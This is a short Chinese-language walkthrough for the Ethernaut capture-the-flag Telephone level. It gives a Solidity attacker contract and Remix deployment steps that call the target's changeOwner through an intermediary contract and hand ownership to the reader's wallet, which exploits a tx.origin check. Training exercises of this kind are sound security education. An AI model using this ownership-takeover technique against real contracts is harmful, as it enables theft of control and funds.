Ethernaut CTF - Telephone (Level 4)教程

1.

remix.ethereum.org

2.新建 Telephone.sol文件

3.编译

pragma solidity ^0.5.0;

interface Telephone{    function changeOwner(address _owner) external;} contract Hack{    function attack(address _addr ,address _owner) public{        Telephone teleContract = Telephone(_addr);         teleContract.changeOwner( _owner);    }}

4.

post image

5.先点击Deploy,部署成功后在attack的地址栏处填写地址:”A,B”,其中A为合约持有者地址,可以在谷歌浏览器开发者工具中找到。B为自己钱包地址。然后点击attack。任务结束。

post image